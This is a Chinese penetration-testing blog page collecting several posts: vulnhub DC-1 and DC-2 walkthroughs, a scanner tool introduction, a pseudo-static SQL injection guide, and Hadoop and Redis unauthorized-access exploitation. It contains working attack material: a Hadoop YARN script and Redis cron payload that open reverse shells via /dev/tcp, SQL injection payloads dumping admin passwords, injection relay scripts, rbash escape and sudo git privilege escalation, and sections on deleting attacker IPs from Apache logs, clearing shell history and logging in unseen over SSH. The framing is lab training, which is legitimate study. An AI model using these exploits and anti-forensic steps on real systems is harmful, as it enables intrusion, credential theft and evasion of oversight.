首页
泷羽导航
在线工具
公众号编辑工具
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
18,302 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
16,892 阅读
3
泷羽Sec红队培训,OSCP+国际渗透测试专家中级认证
7,278 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
6,931 阅读
5
几个常见的密码字典推荐
6,901 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
195
篇文章
累计收到
2
条评论
首页
导航
泷羽导航
在线工具
公众号编辑工具
留言面板
友情链接
搜索到
186
篇与
的结果
2025-05-18
DC-1综合靶场渗透从外网打到内网,权限提升,入侵痕迹清除,干货,建议收藏
DC-1综合靶场渗透从外网打到内网,权限提升,入侵痕迹清除,干货,建议收藏前言由于传播、利用本公众泷羽Sec提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号泷羽Sec团队及作者不为此承担任何责任,一旦造成后果请自行承担!本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。环境准备靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/攻击机:kali,自行准备信息收集开启靶机,切换net/桥接模式nmap探测主机存活80/sP探测nmap的基本使用,以及高级用法文章参考:nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式# 或者 nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。靶机端口扫描,开放了22、80、111、34471端口nmap 192.168.209.157 -p- -v访问http服务的80端口,进入到web界面,有一个登录sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入注册一个用户试试,他还要发送邮件,并没有让我们填写密码需要批准之后才能注册用户由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用访问也没发现什么有用的内容在这里没用,应该是一个api接口还有一些七七八八的就不看了,基本没啥作用的漏洞探测使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息whatweb -v 192.168.209.157msf漏洞利用msf漏洞利用神器,直接搜索Drupal这些模块msfconsole search Drupal使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的show payloads我们使用第二个模块试试use unix/webapp/drupal_drupalgeddon2 # 或者 use 1 # 然后 show payloads # 显示该模块下的所有payload发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中设置payload为tcp反弹shellset payload payload/php/meterpreter/reverse_tcp当然也可以使用tcp正向连接set payload payload/php/meterpreter/bind_tcp他们的区别正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问外网靶机,反向连接需要两个机器都需要能互相ping这里就使用反向连接来测试如果出现如下错误多半是防火墙端口没有放行就是配置下的本地监听端口使用iptables放行端口 sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT这个时候重新开始攻击即可run getuid后渗透查看系统信息sysinfo获取shellshell上面终端显示的样子不好看,使用python调用系统终端python -c "import pty;pty.spawn('/bin/bash')"这样子就好看多了找到flag1.txt他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下find . -name 'set*'又给了你一个提示What can you do with these credentials?你能用这些凭证做什么?$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );那当然是连接本地数据库咯mysql -udbuser -pR0ck3t查看所有数据库切换到这个站点的数据库,并查看有什么表use drupaldb show tables;找到有一个users表里面包含用户名/密码信息select * from users;这样子不好看,那么我们就加一个Gselect * from usersG;不知道是什么加密,文心一言说还加了盐,那么我们只能去找这个hash规则的文件了从当前站点目录查找这个文件,并发现有一个password-hash.sh文件find . -name '*hash*'在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?把他复制下来$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq进入mysqlmysql -udbuser -pR0ck3t修改密码update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';登录成功了!这里我们就找到了flag3点进去找到这个,提示我们去passwd文件看看提示我们去passwd,找到flag4cat /etc/passwd切换flag4用户下的目录查看这个文件的权限,尝试追加用户提权,但是只能root读写find / -perm -u=s -type f 2>/dev/null # `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。使用find提权find / -exec "/bin/bash" -p ;提权成功,找到了最后一个flag痕迹清除观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)1、中间件日志清除对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。 find / -name 'access*'查看都有一些什么内容cat /var/log/apache2/access.log筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录sed -i '/192.168.209.1/d' /var/log/apache2/access.log这条命令会直接在原文件中删除所有包含192.168.209.1的行。-i选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志cat /var/log/apache2/access.log可以看到连同kali(192.168.209.151)的日志一起清除成功了同理正常请求日志清除了,错误请求日志也要删除吧find / -name 'error*'cat /var/log/apache2/error.log一大堆kali攻击日志同理直接使用sed更改 sed -i '/192.168.209.1/d' /var/log/apache2/error.log清除成功!2、密码还原对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧登录数据库mysql -udbuser -pR0ck3tupdate users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";3、清除数据库日志没有权限查看日志状态show variables like '%log%';general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。 当general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。 当general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。 慢查询日志slow_query_log看图也是关闭的 当 slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log。 当 slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。 找到这两个日志文件路径,看看有没有,很好没有,这一步跳过4、清除命令历史查看自己曾经输入过的命令historyhistory -c # 清除命令历史5、登录日志这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。6、nmap扫描日志nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。7、更多我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知扩展知识隐身登录系统,不会被w、who、last等指令检测到。ssh -T root@192.168.0.1 /bin/bash -i不记录ssh公钥在本地.ssh目录中ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i往期文章推荐:https://mp.weixin.qq.com/mp/homepage?__biz=Mzg2Nzk0NjA4Mg==&hid=2&sn=54cc29945318b7d954c2e04fcd6060cd
2025年05月18日
1,588 阅读
0 评论
0 点赞
2025-05-18
DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程
前言由于传播、利用本公众号小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!本文主要讲解了渗透测试中的完整渗透测试流程,主要介绍了【wpscan】、【cewl】、【rbash逃逸】的使用技巧,靶场为vulnhub的机器大家可以自行下载,如果文章哪有不对,还请师傅们留言指出,谢谢您。环境准备靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip攻击机:Kali网络:nat模式靶机复现nmap主机发现,192.168.209.166或者使用arp-scan -lnmap -sP 192.168.209.0/24对扫描出的靶机进行全端口扫描nmap -sS -p- 192.168.209.166我访问这个ip的时候,自动跳转到了http://dc-2但是我加上这个ip之后404index.php可以正常访问那么应该就是host文件问题,修改hosts C:WindowsSystem32driversetchosts在行尾添加这一行内容保存之后,再次访问首页,就可以正常访问靶场了Flag1"Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl."大致意思就是你可能需要cewl这款工具看目录扫描结果,这是一个WordPress网站,有一个后台界面wp-adminsql注入万能密码拦截登录响应登录失败还有一些其他的测试方法,比如xss,弱口令都不行,这里我们就要用到cewl这个工具了Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。我们将扫描结果重定向到passwd.txt(就是保存文件或者使用cewl的自带的-m参数)使用wpscan枚举可能的用户名WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。一共扫描出来三个用户admin,jerry,tom可以使用此时我们已经有了用户名和密码字典使用wpscan爆破账号密码,指定刚刚我们生成的用户字典users.txt和密码字典passwd.txt爆破成功,结果如下jerry / adipiscing tom / parturient来登录成功在旁边导航栏找到了Pages,即可得到flag2这提示跟没提示一样If you can't exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.文件上传上传一个php文件,被禁止了只能上传图片文件,我找了半天也没找到文件包含漏洞的地方文件后缀爆破,也全部失败了系统渗透换思路我们之前端口扫描的时候有一个7744端口,不知道是什么服务,百度也搜不出来用ssh默认22端口是拒绝服务的,指定一下7744端口的时候既让让我们输入密码,那这个就是ssh服务端口了第一个用户测试失败jerry / adipiscing第二个用户,登录成功tom / parturient命令被限制了'rbash'什么是rbash?它与一般shell的区别在于会限制一些行为,让一些命令无法执行,这里就让我的cat、clear、su等等命令进行了限制查看可用的命令compgen -c滑到最下面,有一个vi命令flag3.txt内容:可怜的老Tom总是追着Jerry跑。也许他应该为自己造成的压力而死。---网易有道Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.我们去/etc/passwd,看看能不能添加一个”root“用户,看样子不行了,你也可以直接查看这个文件的权限,这里我就不掩饰了去home,cd 并不能直接使用,但是有一个 ls直接找到了flag4告诉我们使用git离开这里,应该就是让我们用git提权查看文件所属,是jerry的,这里直接跳过吧,找到就好,没什么作用了我们看看刚刚的flag3.txt,所属用户为tom那么就用它提权试试执行:shell这里直接"提权"成功了但是没什么作用哈,root目录也切换不了查看环境变量rbash逃逸我们通过修改环境变量,之后使用jerry / adipiscing登录tom@DC-2:~$ export PATH=$PATH:/bin/ # 直接添加环境变量 rbash: PATH: readonly variable # rbash tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 把/bin/sh给a $ /bin/bash tom@DC-2:~$ su # 这里修改了BASH_CMDS的值后并不能直接使用su命令 bash: su: command not found tom@DC-2:~$ export PATH=$PATH:/bin/ # 添加环境变量 tom@DC-2:~$ su jerry # su 正常使用 Password: jerry@DC-2:/home/tom$ 图解此时我们是jerry权限,还是进不去root查看当前suid可用命令find / -perm -u=s -type f 2>/dev/null这里有一个sudo可以用,rbash逃逸中的必要条件git提权sudo git help config !/bin/bash 或 !'sh' #完成提权 # 或者 sudo git -p help !/bin/bash #输入!/bin/bash 即可打开一个用户为root的shellok完成dc-2靶机总结本文详细介绍了利用Kali Linux对vulnhub的DC-2靶机进行渗透测试的过程。通过nmap发现靶机及开放端口,利用cewl和wpscan工具生成字典,并成功爆破WordPress后台账号密码。面对rbash限制,通过环境变量修改实现逃逸,并利用git和sudo提权获取root权限。整个流程覆盖了信息收集、漏洞利用、权限提升等多个阶段,展示了全面的渗透测试技巧。往期推荐Love-Yi情侣网站存在sql注入漏洞DC-1综合渗透从外网打到内网,msf后渗透,权限提升,入侵痕迹清除,绝对干货!Linux中Find命令也能提权?提权方式一文通透喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透【Kali笔记】 Kali Shell编程从基础到进阶
2025年05月18日
1,556 阅读
0 评论
0 点赞
2025-05-18
棱镜X单兵渗透平台
本工具仅面向合法授权的企业资产风险检测,请严格遵守法律规定,不得危害国家安全、公共利益,不得损害个人、组织的合法权益,否则应自行承担所引起的一切法律责任。启动· WEB 系统依赖文件:lib.zip: web 版依赖库,CLI 模式无需下载。存储仓库: https://oss.prismx.io Linux Amd64 运行示例:$ wget https://oss.prismx.io/lib.zip$ wget https://oss.prismx.io/prismx_linux_amd64$ unzip lib.zip $ chmod +x prismx_Linux_amd64 $ ./prismx_Linux_amd64启动后访问https://yourIP:443即可进入登录页,使用 -port 参数可指定端口。系统默认账号prismx/prismx@passw0rd,首次使用请修改账户名与密码!主页:数据大屏:· CLI 命令行命令行模式无需任何依赖文件,只具有基础的扫描模块。执行-h 命令可获取相关帮助。$ ./prismx_Linux_amd64_cli -h $ ./prismx_Linux_amd64_cli -t 127.0.0.1 -p 1-500,3000-6000· Linux For ARM(Android)具有 Root 权限可以避免百分之九十的问题!安卓设备为例,下载终端工具 Termux ,更新软件包然后安装 wget,再下载二进制程序,赋予权限后即可运行。$ pkg update $ pkg upgrade $ pkg install wget $ wget https://oss.prismx.io/lib.zip $ wget https://oss.prismx.io/prismx_linux_amd64 $ unzip lib.zip $ chmod +x prismx_Linux_amd64 $ ./prismx_Linux_amd64未授予 Root 权限会出现错误:listen tcp 0.0.0.0:80: bind: permission denied,使用-port 参数切换绑定端口即可。执行扫描任务时出现错误:xx on [::1]:53: read udp [::1]:37606->[::1]:53: read: connection refused有 ROOT 权限:在手机根目录的 /etc/ 文件夹下新建一个名为 resolv.conf 的文件,内容为nameserver 8.8.8.8(DNS 服务器),然后重启 Termux 之后再次运行即可。无 ROOT 权限:执行pkg install proot resolv-conf && proot -b $PREFIX/etc/resolv.conf:/etc/resolv.conf ./prismx -port 8000(运行参数) 至此,便可成功启动,在手机浏览器访问首页:http://127.0.0.1:8000 但是并不代表可以完整使用了,以非 ROOT 权限执行任务时切记将存活检测切换为 Ping 模式!!主机管理一键生成 Agent,点击获取载荷即生成客户端。增效工具模糊搜索:结果基于 Hunter 平台,使用该功需配置 Hunter Api Key子域名:该功能基于互联网系统,需确保能正常访问公网目录扫描:扫描指定 URL 可能存在安全风险的资源地址。任务管理无障碍创建向导,高级设定:存活检测:ICMP 模式速度更快,但是需要 ROOT 身份运行,在无 ROOT 权限时请手动切换为 PING。告警级别:默认选择了中危,在执行扫描任务时如检测到等级大于等于中危的漏洞时会向用户邮箱发送告警通知。通报等级:严重>高危>中危>低危>信息>无模糊存活:部分主机开启禁 PING,导致常规检测无法验证存活,此时可以启用该选项进行深度检测,默认已选中。扫描子域:此功能基于互联网系统,此选项需可访问公网。扫描配置JNDI 服务器通常启动后首页会提示:JNDI 监控服务未启动,一些检测功能将会受到限制。解决方式:管理员账户前往 扫描配置 —> 扫描参数 —> 外连设置,有两种方案自定义 JNDI 服务器:可在本机启动一个监听,服务器地址应当是本机内网/公网 IP 端口CEYE:配置 CEYE 平台的 Identifier 和 API Token 即可然后选中对应的服务器模式,保存即可。未正确配置该选项会导致 log4j2 RCE 和 Fastjson RCE 等插件无法使用!第三方平台在执行子域名扫描以及信息收集的模糊搜索任务时,会依赖外界平台。请配置相关平台的身份验证信息,以保证数据的完整性。字典配置系统内置默认账户、密码组合。如果密码列里出现{user}占位符,则会被替换成用户名。插件编写流程可视化创建插件请确保程序具有读写权限以及根目录存在 libexploits 文件夹,插件名即是漏洞名称.yaml规则及语法Request 可视化编辑器,支持多套请求。支持 CEL 函数语法,语法见教程。AND/OR 按钮:如果选中 AND,需要每个请求的响应均符合所设定的响应规则,如果为 OR 则只需符合其中一项即判定为具有该漏洞。注:如果发送的请求是 Post Form 请求,Params 参数须先以 URL Encoded 编码转换。往期推荐111
2025年05月18日
2,101 阅读
0 评论
0 点赞
2025-05-18
伪静态注入总结
伪静态注入的总结伪静态页面渗透在日常的测试中,经常会遇到静态页面,尤其是政府类的站点(前提经过授权),此时就会非常的棘手,在下多试验后,发现以下思路或可以帮助我们跨越这个障碍。伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料。很典型的案例即是discuz论坛系统,后台就有一个设置伪静态功能,开启伪静态后,动态网页即被转换重写成静态网页类型页面,通过浏览器访问地址和真的静态页面没区别。前提服务器支持伪静态重写URL Rewrite功能判断方法在浏览器里控制台(console),输入代码或粘贴js代码alert(document.lastModified); 回车执行,会弹出一个弹窗。重新刷新网页,再用相同的方法在控制台里输入查询代码,再查看文件的最后修改时间,如果发现时间不同则可以判断它是伪静态。如果是伪静态页面,可以尝试将其变成动态页面。伪静态的话只是由动态转成了静态,从地址上你是可以看到转递参数的,比如phpweb,它的链接是这样的:news/?123.html,这个你可以理解成news.php?id=123。所以你可以news/?123*.html这样提交。或者可以进行伪静态中转。(伪静态中转注入总结:博客园地址)入侵的大概思维方式对搜索框进行测试(注入测试) 对登录处进行测试(万能密码、注入) 对站点进行目录扫描(发现其他突破口) 从C段下手一:中转注入法1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了http://www.xxx.com/news.php/id/1.html2.测试步骤:中转注入的php代码:inject.php<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?> 3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1通过sqlmap或者havj可以跑注入漏洞。附录ASP中转代码:<strong><font style="font-size: 12pt"><code id="code1"><% JmdcwName=request("id") JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址 JMUrl=JMUrl & JmStr&".html" //拼接url response.write JMUrl&JmStr //我这里故意输出url来看 'JmRef="http://127.0.0.1/6kbbs/bank.asp" JmCok="" JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //处理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //发包前对参数的url编码一下 strReturn="" Dim i 'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符, 'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加转换+字符 vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) &HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next URLEncoding=strReturn End Function %></code></font></strong>二、手工注入法1.http://www.xxx.com/play/Diablo.htmlhttp://www.xxx.com/down/html/?772.html2.测试注入:http://www.xxx.com/down/html/?772′.htmlhttp://www.xxx.com /play/Diablo'.htmlhttp://www.xxx.com/play/Diablo'/**/and /*/1='1 /.htmlhttp://www.xxx.com/play/Diablo' //and //1='2 /*.htmlhttp://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错3.看页面是否存在差异,相同则不存在,不同存在注入。4.联合查询:http://www.xxx.com/play/diablo’ and 1=2 union select 1,2… frominformation_schema.columns where 1='1.htmlhttp://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html三、手工注入法(二)http://www.xxx.net/news/html/?410.htmlhttp://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html注:伪静态的注入和URL的普通GET注入不太相同 。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。三、SQLmap方法在sqlmap中伪静态哪儿存在注入点就加*http://www.cunlide.com/id1/1/id2/2 python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″http://www.xxx.com/news/class/?103.htmpython sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”四、python脚本方法代码一:<code id="code3">from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()</code>转载:https://www.cnblogs.com/jsq16/p/5942003.htmlhttps://blog.csdn.net/qq_41545233/article/details/106713530
2025年05月18日
956 阅读
0 评论
0 点赞
2025-05-18
Hadoop & Redis未授权访问漏洞,靶场实战——Vulfocus
一、介绍未授权访问,也称为未经授权的访问或非法访问,是指在没有得到适当权限或授权的情况下,个人或系统访问了网络、计算机、数据库、文件、应用程序或其他受保护资源的行为。这种访问可能出于恶意或非恶意的目的,但无论其意图如何,未授权访问都可能导致敏感信息的泄露、数据的篡改或破坏、系统功能的异常,甚至更严重的安全事件。未授权访问的常见攻击手段包括但不限于:利用已知的系统漏洞或弱点。通过猜测、破解或窃取密码等认证信息。使用恶意软件,如病毒、木马等,来绕过安全机制。社交工程,如诱骗用户泄露敏感信息。二、靶场介绍--VulfocusVulfocus是一个便捷的漏洞集成平台,用户只需加载漏洞环境的Docker镜像即可快速使用。它具备一键启动、自动更新flag、计分考核等特性,适用于安全测试和能力评估。平台兼容Vulhub和Vulapps的镜像,支持可视化配置,是安全人员的理想工具。在线位置:https://vulfocus.cn/#/dashboard离线版本:https://github.com/fofapro/vulfocus (即使没有网络也可以在本地进行渗透测试)Tips:Docker 部署过程需要科x上网,本地使用不需要,要么使用国外服务器,使用linux部署靶场我没有找到linux版本的科x上网工具,大多数科x上网工具都是windows的,所以使用windows的版本Docker(Docker desktop)来部署,使用即可这个坑踩了一天。。。三、漏洞复现1、HadoopHadoop是一个由Apache基金会开发的分布式系统基础架构,主要解决海量数据的存储和分析计算问题。它起源于Lucene框架,受Google大数据论文启发,发展出HDFS、MapReduce和Hbase等核心组件。2005年,Hadoop作为Lucene子项目Nutch的一部分加入Apache,2006年成为独立项目。Hadoop的命名来自创始人Doug Cutting儿子的玩具大象,它的诞生标志着云计算时代的到来。Hadoop的主要用于:分布式存储:通过Hadoop分布式文件系统(HDFS),Hadoop能够存储海量数据,提供高吞吐量的数据访问。分布式计算:利用MapReduce编程模型,Hadoop能够处理大量数据集,执行并行计算任务,提高数据处理效率。数据挖掘和分析:Hadoop支持复杂的数据分析和数据挖掘任务,帮助用户从大规模数据集中提取有价值的信息。Hadoop YARN的ResouRCEManager是集群资源分配和调度的关键,若出现未授权访问漏洞,可能使未认证用户访问或操纵资源,引发数据泄露、资源滥用或服务中断。此类安全问题需及时修复,以保护集群安全。该漏洞涉及版本:hadoop 3.3.0以下搜索hadoop,启动环境即可访问靶场给你的第一个ip地址,就可以进入hadoop网页界面查看版本,2.8.1,存在未授权访问漏洞使用python脚本进行shell反弹exp脚本参考:https://www.cnblogs.com/cute-puli/p/14944637.html#!/usr/bin/env python import requests target = 'http://123.58.224.8:32220/' 目标网址 lhost = '用来反弹的ip,公网能访问的ip' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/公网ip监听的端口号 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)使用终端或者其他shell工具连接你的公网服务器,我的是centos系统,终端连接ssh协议ssh root@192.168.128.128连接之后下载netcat瑞士军刀命令yum install -y nc,启动监听nc -lvvp 4443注意,启动监听之前需要放行你监听的防火墙端口,否则之后执行py脚本会导致没有任何反应,查看你的端口放行情况iptables -L -n -v -L 表示列出所有规则 -n 表示以数字形式显示地址和端口号 -v 表示显示详细信息新建一个终端执行你的脚本即可python .hadoop-payload.py反弹成功再根据题目提示,找到flag提交即可2、RedisCNVD-2019-21763是关于Redis数据库的一个远程命令执行漏洞,其原理主要涉及到Redis 4.x及更高版本中新增的模块功能以及主从同步机制的不当使用,它的默认端口为6379,漏洞等级:高危。端口探测:由于我启动的vulfocus靶场redis端口为64239,所以nmap扫描命令如下 nmap -v -Pn -p 64239 -sV 123.58.224.8 发现存在64239 redis服务默认端口使用redis-cli测试靶机的redis是否支持远程连接,经过测试支持redis-cli -h 123.58.224.8 -p 64239然后并且追加如下内容set xxx "nn 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/44330>&1nn" config set dir /var/ config set dbfilename root save知识扩展:在面对大量读写数据时,单个Redis实例可能会承受巨大压力。为了解决这个问题,Redis引入了主从模式。在此模式下,一个Redis实例作为主机,负责处理所有的写操作,而其他实例作为从机,与主机保持数据同步,并专门处理读请求。这种读写分离的策略有效减轻了服务器的负载,是通过增加空间使用来换取系统处理效率的一种策略。进一步地,Redis 4.x版本后,通过新增的模块功能,开发者可以使用C语言编写并编译成.so文件,从而在Redis中实现自定义的新命令,进一步扩展了Redis的功能和应用场景。——主从复制RCE发现保存的时候怎么也保存不了,又花了半小时,找到了这个方法--手动编译 so 扩展文件,忍不住这回当了脚本小子,执行如下命令git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/这是我的目录效果继续git clone https://github.com/Ridter/redis-rce.git cd redis-RCE/ cd ../ # 将module.so复制一份到当前目录下的redis-RCE cp module.so ./redis-RCE # 使用pip安装依赖 pip install -r requirements.txt执行攻击之前,需要放行21000端口python redis-RCE.py -r 123.58.236.76(靶机) -p redis端口 -L vps的IP地址 -f module.so中途超时了一下所以我的靶场redis端口变成了 11778redis-cnvd_2015_07557做法同理,更改靶场ip和端口即可原文链接:https://mp.weixin.qq.com/s/4gHAAg_c66Y0zgq8id_sNA
2025年05月18日
1,436 阅读
0 评论
0 点赞
1
...
30
31
32
...
38